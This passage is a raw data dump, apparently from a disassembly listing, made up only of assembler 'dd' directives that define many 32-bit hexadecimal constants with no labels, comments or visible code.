dd 68F04EADh, 0F7DA1FD5h, 1AC0801Bh, 24399BCFh, 9907807Ah
dd 2F48F108h, 42C35257h, 1EF3F08Dh, 85CD00A2h, 0C3C140F5h
dd 86061ACBh, 0CE3C7656h, 6A411B18h, 0C0C7206Bh, 51B04B4h
dd 1F3E591Fh, 0FACA047Eh, 8500F6C6h, 0B251EB72h, 6B3D1E00h
dd 0FF84A056h, 7AF34404h, 4549BE02h, 60FB6434h, 0DEE1A89Bh
dd 0CE160081h, 7F9D7ED8h, 0E7E5F400h, 6BDAD473h, 0A64C1B9Ah
dd 0E0C0897Ah, 74000DE2h, 491357A5h, 1D8BFDDh, 3E78F4EBh
dd 8F3F4A8Ah, 0E1B8F76Eh, 0BB09C135h, 60A17F30h, 2EDB71E0h
dd 5B00226Bh, 6747958Bh, 0CF99ADh, 40286A5Dh, 7053FD76h
dd 0FFF96100h, 846FE334h, 0CF3B034Ch, 18C10471h, 181DD9E3h
dd 290FA272h, 1EFEA0B9h, 0C47934Dh, 2F5A5957h, 4A16D430h
dd 0A7019A07h, 0FE950506h, 2C318982h, 90803A17h, 9ABD1CC1h
dd 0F6000DE6h, 0FFB76890h, 9B63C6h, 0D1F50622h, 89A93916h
dd 3C577900h, 0BB6C0E6Fh, 4DB0002Bh, 0B9E4662Ch, 0E6007359h
dd 92475235h, 31608C2h, 99883EAAh, 0C0A0BAEFh, 0B00D34Ch
dd 0FDBB3827h, 1F4486B2h, 40805EFBh, 0A085714Dh, 0C70018E8h
dd 86550549h, 46AF28h, 586E84F7h, 7454FE7Bh, 0CDB98504h
dd 3C04571h, 3A4E04Ch, 0FD89439Ch, 0C08877AEh, 0D100E6C7h
dd 0AB4B8029h, 8BFC37h, 7A43FEB3h, 83CA408Ah, 19280100h
dd 93C5F65Eh, 0A0ED0013h, 1DD5394Fh, 0B00DE48h, 0D22F7EA4h
dd 95F49Ah, 7D5425E7h, 84CC42EBh, 0F04739h, 0B253BE04h
dd 2CC08629h, 0C01572h, 6A2E128h, 0BF001890h, 464D0103h
dd 9555E8h, 836E76D1h, 0F7317CEh, 0B079961Dh, 0B1BD9B80h
dd 352B4Ah, 9825EC82h, 37564260h, 0B0530E28h, 6B07CF00h
dd 7E1A4A85h, 7A512A41h, 780485BCh, 54606889h, 87E88D10h
dd 595F00FFh, 275D5ABDh, 4900BBA2h, 0FE89E446h, 1964B8EDh
dd 298523AFh, 443908C9h, 2284EA5Ch, 95426B7Ch, 2163E411h
dd 225F1DE6h, 225B0122h, 9242608Dh, 0AD69447Ah, 661C28A0h
dd 0C008AE89h, 0DD617C45h, 1447298Eh, 0D09A1150h, 0F97ABA08h
dd 889E4510h, 5608685Ah, 84CA90ECh, 0CE44B471h, 3C024A58h
dd 2917860Ch, 4A51C05Dh, 0E158EBA8h, 7000B3E8h, 76051E7Ah
dd 18E82580h, 20A67FFBh, 1A3DCEE4h, 0C3E78018h, 0F89C2ECh
dd 422839BBh, 80C8D11Dh, 37FF52F4h, 3400D8CCh, 0C0C3ECA0h
dd 6BAA47h, 2E997CABh, 0B6910488h, 76ACF03h, 889FD27Dh
dd 29FEA6h, 44B1EB73h, 471A2771h, 1C3DB20Fh, 0C75446E6h
dd 8E831C30h, 65BF47CAh, 0BD27BFD2h, 0DFA8106Eh, 0CB0E69AFh
dd 803A38DAh, 0C02D93E1h, 519F1F5Dh, 64B0400Dh, 2E0B067Ah
dd 0BCC5FC00h, 391B8231h, 0B52F008Ah, 4C47E104h, 0C1010EDAh
dd 0E97A26BAh, 0B1F4AAACh
dd 3D7B0462h, 80E7F438h, 21081F4Ch, 0B4726400h, 29AD792Bh
dd 56A700C2h, 583A0704h, 0E00014B3h, 0BC89F6A6h, 119A5Fh
dd 0E46765A0h, 5D5F538h, 0AB3CF000h, 0E288D3E7h, 6E131EB0h
dd 21C94E76h, 97C07AEFh, 35FD2D6Ah, 2F39BC00h, 6CB2CC4Eh
dd 0E1BD0099h, 482A1AB7h, 83005C42h, 9E44F0EFh, 0C9185h
dd 0B6BF4125h, 71C640E4h, 0CE3D790Ch, 11C18Dh, 0A4B29325h
dd 0DC62153Ah, 3C023002h, 0C0CFE9C9h, 0FC1EC6h, 86032668h
dd 1891DA41h, 0A7E43600h, 8D59745Fh, 0A24900A8h, 12C9290Dh
dd 0FCEF41C0h, 1600E60Bh, 672D6D55h, 9BD26Eh, 623C97A8h
dd 1937D0FAh, 10DE1106h, 1E100AC9h, 80DD3D14h, 0AA4AC79Dh
dd 4F007722h, 0F64BF75Ah, 377306h, 9C721751h, 0B538BA35h
dd 0ED412200h, 0F93230A3h, 0BE2730E1h, 7E45CA8h, 69469100h
dd 8834D0C7h, 51AB003Ah, 98AC2F05h, 18008E1Ch, 8D36B6E3h
dd 0F7C8BF9h, 6A5363DEh, 607750C0h, 7F0915C9h, 83E39FF5h
dd 0B0348B44h, 3CDB89B4h, 4A00D8CDh, 0E2DE8299h, 9A1CB3CEh
dd 17D8312h, 0BE2E0D64h, 46C8D910h, 452100D7h, 38C0D1A6h
dd 0A8F8AD6Fh, 4EF87209h, 99040009h, 5EA7D4Fh, 0B7B2ECF3h
dd 0F999C0D2h, 0B8000910h, 0B944BA85h, 1A3632h, 12F62CD7h
dd 4D0E6B1Bh, 0FFC3F100h, 88C260FAh, 0A7E814F3h, 5E00B558h
dd 92EEB64Bh, 0AC0069B5h, 33633DB7h, 9E08E1h, 0EAD3B191h
dd 2DAAFB75h, 5B0056FCh, 9C502F19h, 0C0028654h, 66BB5C18h
dd 4D07D027h, 0B1136178h, 9B335D40h, 5C440009h, 20A09DC8h
dd 0FF50BEEFh, 0C9F273C4h, 3D7AF800h, 0CC4C7243h, 594046Bh
dd 916297A9h, 0C0AE940h, 63B80133h, 37CF6057h, 0EA7007ADh
dd 0A57F12h, 0AE8B5914h, 0C2E8361Eh, 0E000A8EAh, 0B638B11Dh
dd 1D20A27Eh, 815E61BEh, 42C8E71Ch, 0E102D47Dh, 0D8F1F200h
dd 59C36F0Fh, 93F0781h, 4CCAC1h, 84EEA5DFh, 956E2F1Ch
dd 27BCF343h, 8CA3A0DBh, 0E29700B3h, 0B0E0DE6Ch, 7589682h
dd 6490048h, 4C1CCC09h, 0E46477AEh, 29200E3h, 4EFA7379h
dd 0CF00FC7Ch, 90CEDA55h, 0A1AEDCh, 0D8763C1Ah, 30A9707Dh
dd 0C4165200h, 21FED5FAh, 0FDC73F8Ch, 0B1CC6EBEh, 0A055C600h
dd 8D8E3EABh, 0BB1F201h, 0C81B24A6h, 5E8430h, 27477F6Bh
dd 2E5A0659h, 700FB977h, 8046813Ch, 0BD0E9F3Dh, 0FE7B36h
dd 0A8FCD38h, 0B180A888h, 64B9820Eh, 0AD51E030h, 60E9480Fh
dd 0DAC458CEh, 0FC3ABE28h, 1C4D030Ch, 9E973505h, 2AE600A8h
dd 0F44A0756h, 0AC00FB8Bh, 4184975h, 1E6FCF3Eh, 40CEB15Eh
dd 9B781369h, 94007F95h, 761463Bh, 3B6E9128h, 8400759Fh
dd 435F97B8h, 0C4E4E876h, 6FDB2603h, 96B2529Eh, 6D170510h
dd 80A6B110h, 0A4578F19h, 772D3701h, 0F0906955h, 420CF30h
dd 0BF34DCF6h, 0BD01EF0Eh, 1A9FDF93h, 5A51F4h, 0F1068960h
dd 163F7347h, 6800A87Dh, 510BAF32h, 1282FEh, 72781880h
dd 0CBBADE7Bh, 3A25F40Bh, 60190EFAh, 0C5138266h, 263007Ah
dd 9BB91984h, 90003147h, 0CE4B65C9h, 108FE5h, 5689957h
dd 35DC1C73h, 4474AB00h, 3A26754Bh, 0DC40F2Eh, 1C61033Dh
dd 0C8027BE3h, 0DA00A383h, 572E705Fh, 460C38h, 0F8766722h
dd 0A2CDC290h, 0AA1C13EAh, 260088F4h, 0CC6F37F7h, 28A9001Dh
dd 0FFC91B99h, 3F3F2B69h, 497080D2h, 7B6C9690h, 36AA001Dh
dd 2208B07Ah, 27001AB1h, 949EEC3Fh, 564F5Fh, 637C8943h
dd 0F3FE227Eh, 0A97B420Fh, 2C90A0E3h, 0F20C231Bh, 94E4FD19h
dd 71C9006Dh, 0F0596866h, 60FA5593h, 0DEA8DF00h, 7B8784F4h
dd 41CD1ED8h, 0EF2A8047h, 2DFE5931h, 3B17DA00h, 0A2344C95h
dd 26BB00CAh, 2263AD15h, 0A50035E8h, 5E0D87Fh, 9A7C9Eh
dd 0AB1A8CF0h, 78154438h, 2A4BA701h, 1D45C016h, 2693D720h
dd 532782h, 35CFE4BEh, 1800F112h, 53D970A0h, 588ECEE1h
dd 6900477Eh, 2341A805h, 0B400F89Fh, 0B8F7538Ch, 0A9DD3F2h
dd 0E3F6847Dh, 0E99100E0h, 455C8041h, 0F382FB06h, 1891CBDh
dd 61B81BFFh, 0F085698Bh, 0C378394Bh, 55D79100h, 0FEAED194h
dd 6825300Fh, 50A05E21h, 4C28543Dh, 0AAC71E4Bh, 19AD1A83h
dd 0FEAF888Eh, 699602E8h, 0D45F0B91h, 55DFFA80h, 1D002A0Dh
dd 0B5720C30h, 0D30589h, 645E3522h, 0A0DD42F1h, 0F125500h
dd 8CFCE2DBh, 3BDF00C5h, 2421D3A7h, 0ACEA7090h, 29BC490Eh
dd 57DD695Ah, 0C4F47480h, 0BCA0F304h, 0E603F870h, 2A0220D6h
dd 0E037F257h, 0C3E2F6Ah, 0CDE9C4B2h, 4400A1C4h, 3596C3A7h
dd 0F47E6E60h, 4AFA0634h, 9FC38F9h, 0A2650500h, 0F7500457h
dd 0F8340041h, 0F32BB087h, 0D00998Fh, 0A8D1BF69h, 19C48Ah
dd 0F2F8685Fh, 79AA43C1h, 0DA38710Fh, 4642E751h, 0D43058E0h
dd 2CA80045h, 0FE2A210Bh, 0DB00CB59h, 6B3FD7F0h, 188E3D02h
dd 0C0F6C041h, 0BC0198D4h, 129D8F94h, 0C660D55Eh, 578BAh
dd 96766907h, 0C8DEC0B8h, 2B9A7D03h, 9C98D9h, 76C52509h
dd 3F3024B0h, 0DDD42106h, 0C0B627h, 5B70B92Fh, 1457D090h
dd 54009FFAh, 171E5EC1h, 0ABC532h, 1D375072h, 114875FAh
dd 0F38F6103h, 0F80E73D0h, 6F9F6Bh, 0AFDA3D89h, 52CD2D6Eh
dd 7FA7B004h, 0F900F875h, 9986662Fh, 6EB5FD05h, 930244C2h
dd 0E0F572D3h, 3310E4Eh, 29EB2487h, 42D8642Eh, 9400A2F0h
dd 687A4F61h, 1E2D1A4Dh, 3C5F5Bh, 0A19889D5h, 540757A6h
dd 84724A83h, 43E57630h, 44FD1F1Dh, 0D75C005h, 0D52BA7FAh
dd 307C1500h, 1B7B4C14h, 825B3B59h, 0C06A0694h, 0E1355000h
dd 0A20542E0h, 45E3B424h, 0D12E6100h, 90161B68h, 0B7EC17A4h
dd 0A8470011h, 7DE89721h, 5603B1FCh, 0A18CF65Dh, 872000B6h
dd 9713702Eh, 0DF005B57h, 0A48589E5h, 1669E9h, 8A8BFBDBh
dd 26464166h, 0D8088498h, 6C3C0Ch, 77EE5FC9h, 0A6003DE4h
dd 78ABFC29h, 957BA2Dh, 0B45EEA2Ch, 89230580h, 502839A7h
dd 0D313B48Bh, 2840DD79h, 338FB9D7h, 0E14C049h, 6234C952h
dd 41DDF14h, 48C400B8h, 0BCF275E5h, 1E9C9809h, 4F819BECh
dd 6AAF145Bh, 2F40F9C0h, 71007D5Ch, 0FA704A7Eh, 0FE16B6C6h
dd 57A706FDh, 418C023Ch, 1F6E7C00h, 5DB994F0h, 0B2B10EBAh
dd 0A6A74373h, 0CFA06E35h, 85A59510h, 0C2A11A01h, 0AD4FF47Eh
dd 54AFB8C3h, 0FE2FE061h, 0B817503Ah, 87C10604h, 909E04Bh
dd 0B439E703h, 0A170F29Eh, 1880BFF9h, 1F29D727h, 43003F36h
dd 5D212DFBh, 72E2DCh, 23FA8F7Eh, 0FE295982h, 7BB84751h
dd 0A0258BC2h, 96716B8h, 381501D0h, 1FDBC26Dh, 1AC20BDh
dd 959CF300h, 0D0DA0230h, 0C5A007B0h, 536F2AC9h, 18D0C839h
dd 314CE967h, 949C00E8h, 0BC6AAAFh, 4FF7006Dh, 451881DEh
dd 48702862h, 6FA0D10Ah, 1B07BBE7h, 0AA9043F2h, 1CAE9AC7h
dd 1E96E4D2h, 49DCC789h, 83F0139h, 345D444h, 9F9C560Fh
dd 489D80DDh, 97FEADh, 4AB9BA26h, 61FFB336h, 1F40593Ch
dd 7BFBF39Fh, 95F82F09h, 5A2C8066h, 405408ECh, 0AA0140EFh
dd 5142D653h, 0C0E0FA01h, 15A40755h, 0B0D50258h, 52A54F88h
dd 50C1DA07h, 32E08675h, 1ED4D8Dh, 0C476D67h, 0F023A45Ah
dd 6E20B9CAh, 556B0098h, 8B1CB671h, 191F7FCCh, 540D2A8h
dd 0B4660725h, 90AB3BDEh, 0C83F6480h, 0A6F99BE7h, 0AF30BB07h
dd 0B4428092h, 537041BEh, 0EDAE30h, 56A9BD1Bh, 6F7D16D2h
dd 40EAEC16h, 63C80CABh
dd 30038FD0h, 857B28C4h, 0A58AE878h, 0BC440E72h, 3FEBDB6Dh
dd 28AF7F0Fh, 0E08D5160h, 800FAD30h, 0A09C70B5h, 79066DF3h
dd 0D64200C0h, 443D7814h, 0C709770Eh, 160A684h, 0AF1E7F8Ch
dd 1D3FD0h, 18162E8Ah, 0F9DC296Eh, 2CAB0B00h, 3074BAC9h
dd 0EC7A26h, 0C705C20Fh, 0B6D89F0h, 8375323Bh, 0A31B0491h
dd 0F09DEB0Dh, 1E55B52Ah, 8EF1E7AEh, 5FC0D71Eh, 24FFF5A8h
dd 0E1A2110Dh, 83F02057h, 0C333006Dh, 9A376C0Ch, 165DD632h
dd 6FFF00C4h, 0E6C90918h, 0D12000F0h, 92ADB68Bh, 0E9000548h
dd 6055B3B9h, 3C248Ah, 0D34AC2C1h, 78C89474h, 2024A7F6h
dd 570970B9h, 47903042h, 0CFA42CE0h, 40401E74h, 317FDBB3h
dd 0C67AC9B8h, 0AA1BF700h, 0FD03375h, 3C38009Bh, 474279A9h
dd 3D00E51Eh, 9CB9F34Eh, 2E65DB40h, 66814Fh, 0C26F52EDh
dd 1500FEBCh, 3D20EE2Dh, 7BD7F2C4h, 11360174h, 92A6D201h
dd 99988050h, 7143A7C2h, 0A415008Fh, 0B3328222h, 453B8CD2h
dd 0A905CB4h, 0DA3E0317h, 0F505FF24h, 0B4020B06h, 4136EE57h
dd 69F4CF42h, 802200A8h, 0E33AF2AAh, 0BE005699h, 0B6D84BE8h
dd 0F84652h, 0D550C6E4h, 99B7C0C2h, 0CC9813F8h, 0B43A2D1Eh
dd 0CBFAEDC0h, 12507Ah, 47F3CF30h, 583FA856h, 0B236B800h
dd 0F8EEE7C3h, 0F89970F7h, 0EEB395Eh, 0C095901Fh, 28648492h
dd 873970A6h, 0DCC39BB3h, 942E0E8h, 897930DFh, 0C9B36709h
dd 0FE721703h, 13F7A34h, 0D6571018h, 0FCBEB69Fh, 0A100B57Ch
dd 0F2615CE0h, 27A23F0h, 0AADD05A3h, 80632C81h, 26B9C4D8h
dd 0EF5BDB00h, 4B076A91h, 41FA0053h, 0F3DF891Dh, 56005920h
dd 45A3EC52h, 737837h, 4B96B5C6h, 2C16F424h, 0E758F67Ah
dd 0EECE0324h, 9C10252Dh, 40AF2081h, 6CE4E8DFh, 0B098A03Eh
dd 22FC0056h, 1560EA81h, 69F6C576h, 0B60EBD00h, 8343F3D3h
dd 905778B0h, 163A0010h, 5460AC0Dh, 0A701CFB5h, 0BFE5D807h
dd 0B7011796h, 0BAC283Dh, 20F4095Ah, 9518E598h, 0CFCF9h
dd 3F4DAEFBh, 463794CBh, 0F27CD816h, 12F38000h, 0BAD9B7h
dd 0D4E67F49h, 0D3E8CCDAh, 9BF22900h, 47579310h, 85B500D8h
dd 0D94C4D5Dh, 0E90F4B8Eh, 0EFC31D42h, 863200D7h, 7B22D83h
dd 0EF3F59D3h, 7E792014h, 113FBD02h, 3CF1245Fh, 0EBCCC800h
dd 7FFADAE1h, 3F2F0E6h, 42CB7CDh, 9AD9BD0Bh, 0C3EAC8A4h
dd 5EB65007h, 66031CFDh, 49E1A095h, 83B00E6h, 886CF35Ch
dd 0B74C021Dh, 4C2078B8h, 0E3501F9h, 0F80C93C6h, 0A64EC48Dh
dd 7DCBAD00h, 0DC723319h, 906A00CAh, 732C59F0h, 100399D2h
dd 9EF2F9C3h, 45BCB823h, 7A800058h, 1943C1B6h, 7D1291F0h
dd 0A009AFC5h, 6EC90CFh, 0E6DB7405h, 6AA71F52h, 9B96C1E6h
dd 0E48DE36Ch, 37134409h, 0BB00F072h, 5F92B1C9h, 0F50B882h
dd 172314B9h, 0DBD2D120h, 2400BA7Dh, 0FD8B7998h, 243933ABh
dd 42ED4h, 0D3B0AF83h, 0B63EEA5Bh, 49A785Fh, 394D3C00h
dd 79D8FBE0h, 0B80700E4h, 4A2622B1h, 660061B3h, 0E160F784h
dd 18518267h, 802B36D1h, 0A7A31E88h, 5C6001A2h, 5500B89Ah
dd 0EDD57403h, 1213287Dh, 3630536h, 0DC6CC43Ch, 0F86966D0h
dd 0AD2ED70Bh, 15048259h, 4AAC6442h, 0DCCEB179h, 33244B7Dh
dd 28807C6Ah, 0A1ACD4C7h, 26EA0082h, 0C14C138h, 30ED98FAh
dd 1B0C88A8h, 300FE53Ah, 43E0019Eh, 23E8D05Bh, 0FB46C069h
dd 0DE7D1E00h, 2A557F4Eh, 293D0052h, 0C78B6014h, 2E001C9Ch
dd 6B6727E2h, 0EA1395A4h, 0AAFC0055h, 0A9F86F60h, 0C971C44Eh
dd 0AE008C78h, 0A8C86DE4h, 57CEEh, 0D76AEA84h, 0F154F649h
dd 70551200h, 0F4DFB10Dh, 2FBB01AEh, 0D8B61E44h, 49B3D8EFh
dd 0DE3D4200h, 0ABF3955h, 69EE0031h, 16E84D0Bh, 8501C4CEh
dd 29C9D7E5h, 66C9ED12h, 0D3F2E0h, 0C85DD9D8h, 7FF8DA0Dh
dd 28B55824h, 60D4CDC1h, 48F081FEh, 0ADECE9BEh, 56170095h
dd 91C87C06h, 2A001DA7h, 63D822A5h, 0CD581Eh, 0EDB1A4BBh
dd 0B7EB6B4Ch, 0EA24A00Bh, 37E180FDh, 0EF4AB60h, 73EE2123h
dd 0AFA338C0h, 4D0068FEh, 7CEB6493h, 4C5947E4h, 2A04285Ah
dd 0B0B469CCh, 4E0255ECh, 42C9FEE6h, 59F0E08Eh, 0C3983F11h
dd 0B9A22B80h, 830B26A7h, 0DAE00E00h, 0E108E7F9h, 0BA751602h
dd 0A72DF090h, 30204900h, 8D67B4FFh, 0E85307DFh, 530DE67Dh
dd 100933ACh, 8FE3DC7Bh, 8AAE041h, 3C070A7h, 0CA959FE0h
dd 93A8DE12h, 40908031h, 8BC46100h, 0A192B425h, 740603CFh
dd 8FB23B8Dh, 0AAB3D1EBh, 0A85E49D8h, 0D8EA6A24h, 0D49C0606h
dd 0D9C70008h, 0DF407E7h, 470E25CAh, 223D3FDEh, 80D1D631h
dd 1A79B5BFh, 0E37FF6h, 50491519h, 6F289D5Ah, 158F248h
dd 55BFFE18h, 97708037h, 939800E6h, 0BB3F236Ah, 9FE25EDFh
dd 8326B47Ah, 0CA00BB09h, 19AED9F1h, 38A90064h, 0B44413FEh
dd 7E00F5ADh, 0DC3F2162h, 0FD382h, 0B38920Ah, 0FA3E8C7Bh
dd 2E03BAB0h, 62D2F1CBh, 52C0B5C3h, 0CD351Fh, 5E1032E9h
dd 3C260C8Eh, 7ED38D07h, 58B020B0h, 13556083h, 0E863E028h
dd 3B4A00A8h, 93B7DCF5h, 0C4E800E2h, 3AC0EADBh, 62006B22h
dd 1E4D3A9h, 3D962CF1h, 0CB8A6A29h, 1F50C726h, 27428044h
dd 8771CF36h, 0F9589C00h, 0F539667Ah, 629A007Bh, 641CF1A2h
dd 0EE0342F2h, 318E61E4h, 0C98AD83Ah, 6D3B00D3h, 16B76A6Fh
dd 0AC012EBEh, 1EC19BE5h, 0F3D40294h, 0B2D616DFh, 5B51019Ch
dd 0E09A3326h, 5700592Bh, 5176771Ah, 0F0966Bh, 0F85CF60Eh
dd 8FDFB944h, 3590E000h, 0CD032361h, 0AD4600BDh, 0FEEF5743h
dd 3618931Ah, 1CCAD5B0h, 5CA7006Eh, 6F0AB652h, 0A1006442h
dd 119F484Ah, 0C26C159Ch, 66B81B20h, 1E6860D7h, 0A02008Eh
dd 3329AFC8h, 0F800C137h, 9FF3031Ch, 5828F64Ah, 0AD1C06B2h
dd 7FD1803Eh, 739C6970h, 0D2078571h, 2836D8Eh, 0F1C078E7h
dd 1FA877F7h, 40DC3E3Ah, 72139D35h, 3B0034D8h, 4D02C5C6h
dd 399ECE5Eh, 0C401B75Dh, 0A4F045D4h, 0C85F31B6h, 382459E5h
dd 0C30024DDh, 0A9830FB4h, 1C6400ACh, 6B505FCCh, 0C43DAF9Fh
dd 811EBC4Ch, 3DD6D3DDh, 6EDC27E3h, 116100B9h, 50E232D8h
dd 0F5FEF71Bh, 0E8EC5400h, 7073E699h, 0DA6600D2h, 818BA5EAh
dd 0E5E07E6Dh, 6A140B00h, 132537ADh, 70DB0757h, 30A9B780h
dd 2FF84B3h, 72530C02h, 4061E701h, 194FA30h, 0B9A34049h
dd 0EF7635E3h, 1AC15798h, 0F3003BF4h, 534E6530h, 3AFF79F0h
dd 9405A745h, 0C08B44E0h, 9BA1B032h, 0A2CD7000h, 9771CA60h
dd 7DD003Dh, 580D2054h, 760F464Dh, 6023BEEAh, 74416EE9h
dd 72390097h, 0F5CDD335h, 40E1ECC7h, 9D834BCh, 79ED5100h
dd 0C499A9B3h, 6B2E00B5h, 0EE677D1Fh, 5609AF57h, 28158Ch
dd 12C1517Ch, 0B0F6506Eh, 938900F5h, 979E98A5h, 0AB0078FEh
dd 0C70A2381h, 0F891E0C8h, 56630054h, 229C46B7h, 940758CEh
dd 0A8111B19h, 0AE8A8D51h, 0DDB2C0h, 5C653CFCh, 8F71F24Ah
dd 5FF19700h, 0CEFF98BEh, 0D4B90002h, 0B3884BF7h, 0A6E838B4h
dd 0AA294F00h, 0D9CBD2FAh, 0DD150220h, 36B02E44h, 324FF2E0h
dd 0C30017E6h, 0DF82F909h, 1A4AADAh, 31B745BEh, 40A24637h
dd 0BD16A8D0h, 0CB06B500h, 0CCE0104Ah, 0FCBB3AC6h, 0ED41EF00h
dd 0BD125144h, 0D2DF7900h, 658D43F5h, 237EDEh, 4C2091B7h
dd 4E21F9A4h, 56149000h, 6DC8C3E8h, 245C4DFAh, 0BF720079h
dd 50EDB16h, 0DE00488Bh
dd 96666D20h, 0E29B56Eh, 18F93294h, 3F1BCF60h, 0DBA267C0h
dd 79F71C80h, 8F249802h, 4E09CC83h, 0B6A881E2h, 0A700DD3Eh
dd 6000F92h, 4A9C5FA3h, 15564C7h, 0A4C9280Ch, 0CB1B9E66h
dd 72A026DBh, 59480AF9h, 6CE8007Dh, 20FDAA0Fh, 4B0800FFh
dd 0BA7BDB7Eh, 8570E26Eh, 83FC1C09h, 3E27F6F6h, 6A769C02h
dd 8F80DE2Dh, 0E647325Bh, 0D53C3600h, 0D9171F48h, 93E1D82h
dd 8AE289E0h, 9ABA5880h, 8D01D864h, 6ECA0521h, 0C040A178h
dd 16FE6FC4h, 0DA40A2h, 0B2DF4D18h, 9E25AABAh, 1FE5074h
dd 0EC5548AFh, 801DD59Ch, 0D182B6A8h, 13145Dh, 0AF98375Fh
dd 599277E7h, 4BE8CB00h, 695CF96Dh, 0ED9F03EEh, 21111995h
dd 394E83A8h, 8217E500h, 1C8AE156h, 2AC0012Ch, 0ECE2429Bh
dd 5EDC249Eh, 0DADEB400h, 4AC1F959h, 0D50801FAh, 0CA6946FBh
dd 0E9D8809Bh, 0EABF5258h, 2C1F0090h, 3E80E733h, 4081D882h
dd 9347DCh, 0E5924648h, 6320998Dh, 267FCE00h, 0E0F2D15Eh
dd 0C1363BB7h, 0E9F0FFDh, 0B4E432DFh, 0A5D08364h, 930CA290h
dd 5EEF7A06h, 184092h, 1CC7C9FAh, 2DC53705h, 0CB7721F2h
dd 85E1F400h, 4F5C7697h, 1EFC7BFAh, 403B91B8h, 0D0BA5ABCh
dd 4B1E63E7h, 0DC02517h, 9AA61918h, 0F20248A5h, 0CF002E3Eh
dd 9425372h, 0ED01AAB0h, 4065CC6Bh, 0A8EC032Ch, 8BBA00CFh
dd 0E3803A39h, 7400B81Ah, 6C54B56Dh, 3B283C2Bh, 0A4D0575Bh
dd 0B4360088h, 0BC06A672h, 1D035EDAh, 3AC709Eh, 248189E7h
dd 215F2087h, 6C48300Bh, 160378A1h, 65A4735Eh, 1C33F80Fh
dd 0CF061C60h, 20165Bh, 0FCA2393Ch, 0BB909269h, 0EE7B9171h
dd 0FAA43Dh, 0FE23AF0h, 4850419Bh, 0F30060F1h, 0FDB280C1h
dd 5500CB0Bh, 769F2BEAh, 0EABF7A36h, 77F90E28h, 2FA27C02h
dd 0C1D44574h, 73AE8E01h, 3C70D050h, 0A99A2066h, 0EDEF009h
dd 72DA005Eh, 289DF514h, 0D06DB2h, 0CC12D79Bh, 0E45DC083h
dd 8168201h, 0C736587Dh, 347460h, 6A6CCB8Bh, 81E64FBBh
dd 0B792120Dh, 0CC4406Fh, 0F68600E3h, 0DFCE05B1h, 3B00BE8Eh
dd 0CC6625CBh, 0C069074Ah, 9BD051C1h, 6C0722B9h, 7C34F323h
dd 997214C0h, 3B7A004Fh, 764736FBh, 6A7AC8DCh, 0DC213D38h
dd 654D00C4h, 1E800B3Ch, 1BD10063h, 7019E41Fh, 8A4C8130h
dd 5D9924F4h, 0A0D2160Fh, 9D78A2F7h, 4C79002Eh, 0F292C6FAh
dd 0C704EBE7h, 0A32A06E1h, 0F794A081h, 0C0D1E2D0h, 0B54BF4A2h
dd 0FF00885Ah, 30C13BA0h, 0E6795ADh, 6E2A6A8h, 58C91F00h
dd 0F1125702h, 2B09256Bh, 523C0070h, 0F18490ECh, 19AC30h
dd 303FF006h, 0F3C653F6h, 3D1A4558h, 0F74980E0h, 46B00387h
dd 6AE8BBh, 9C3FF277h, 0D54D4490h, 0FDF37200h, 0CB7D4FBEh
dd 0FE9E1C63h, 4380FBB6h, 252F9DF2h, 1C0EC8F5h, 0E191DC19h
dd 8DEDB5D1h, 891292h, 0A2671B20h, 3700F032h, 0F7D78F1Fh
dd 0A874ABh, 693FA750h, 0B504763Ah, 0C594C750h, 9986A30Ch
dd 769230F6h, 89F33DF1h, 0B0A02B82h, 0A6E0638Dh, 8500575Ch
dd 347D78E1h, 33161DCh, 0E615F58Fh, 4AE0407Bh, 220084D8h
dd 1FA021B4h, 0B0DC43Dh, 0D6861293h, 30CF9011h, 4339AF52h
dd 54140077h, 5CF89304h, 1FDD0971h, 0C000E5EDh, 136449E9h
dd 40CEB300h, 0AD8F0E2Eh, 0C8100004h, 16CBF6FCh, 0A004CE6h
dd 3E2AB75Ch, 3225D6Dh, 2597CA33h, 5B9024D8h, 5174303h
dd 4701D6F1h, 8836A77Ch, 2444A0C7h, 859201A5h, 95BABE9Dh
dd 0BC54C435h, 9CC03100h, 17E3A361h, 89BB00B2h, 0E80133AEh
dd 1500DDE9h, 61198E71h, 0DC75C1h, 9780E43Ah, 8327DE2Bh
dd 0BA06420Fh, 0A3EE6F59h, 988D68A6h, 90E27653h, 5D7050h
dd 1B4B7443h, 0E6327390h, 6537B600h, 420DCF92h, 0BBF0FA3h
dd 0D7035EAFh, 798091A4h, 0F60057C6h, 289B3148h, 44B145h
dd 269D2D8h, 7168069Fh, 0EDF7E100h, 7A75784Ch, 57D62h
dd 0EAD4726Eh, 0AC2835BBh, 0C4A64Ch, 1986D006h, 3392AFAh
dd 46DC1074h, 24F9EEF8h, 0F0EFEBC4h, 12C56DF0h, 1C583100h
dd 92BB5B84h, 0E47F0142h, 2EAE3093h, 823FDC4Dh, 0A160D300h
dd 0FC6D54BEh, 0ED480061h, 6A5A12B8h, 1601E791h, 9ECEB714h
dd 80FE75A6h, 7D1882F0h, 0A8243E3Dh, 0FFA08080h, 6DD2DDB5h
dd 0F20099F4h, 3C6C30ECh, 6C4C9A1h, 0A77D2B31h, 9B070D2h
dd 27265101h, 0F51CA6D6h, 3A09089Dh, 0A4E6028Bh, 7DFD9821h
dd 6230804Dh, 2DC3CE9Ch, 0C4B91D2Bh, 2394052Ah, 2810059Bh
dd 7C7D0BCh, 0D0F9C88Ah, 0D5CB8D6h, 7DC91F68h, 46E57007h
dd 5BE1DE10h, 64500006h, 65825323h, 7B067744h, 0A69DC1Dh
dd 5E7F20h, 0A59BB288h, 0B881CA2Ch, 0C49C98C5h, 0C221B0C0h
dd 1AD1C2D5h, 5C808903h, 75A1CEF5h, 0BB01B5F0h, 45AC63Bh
dd 5F307B1Dh, 77F001Ah, 42AFF5FAh, 0FD2808A1h, 30606416h
dd 0B82BCEE0h, 147F4223h, 2030D802h, 551C1E27h, 5D6C40EFh
dd 937D8C45h, 485C2E00h, 2A525F9Ah, 7A4A017Eh, 0BC14A321h
dd 9D9FD872h, 992CCB1Ch, 2F40CE1Ch, 383C0DBEh, 7B162823h
dd 0E8AD03AFh, 75276B3Bh, 29B25890h, 0EF078900h, 0E90FD11Dh
dd 280600B3h, 0E0802F67h, 0C41F4FF3h, 0D5C05AF9h, 632740FDh
dd 0CB930037h, 25FCE5ADh, 0D400236Dh, 1A54062Eh, 1363CF10h
dd 802956B7h, 59BB40B8h, 0F0E1C46Dh, 0BCC3041Fh, 10005E30h
dd 0CCB086D6h, 7E7C69A8h, 0D1173DB9h, 135A7A83h, 0E088D7BCh
dd 0F232F851h, 100829AEh, 59408045h, 3D2284C3h, 8144284h
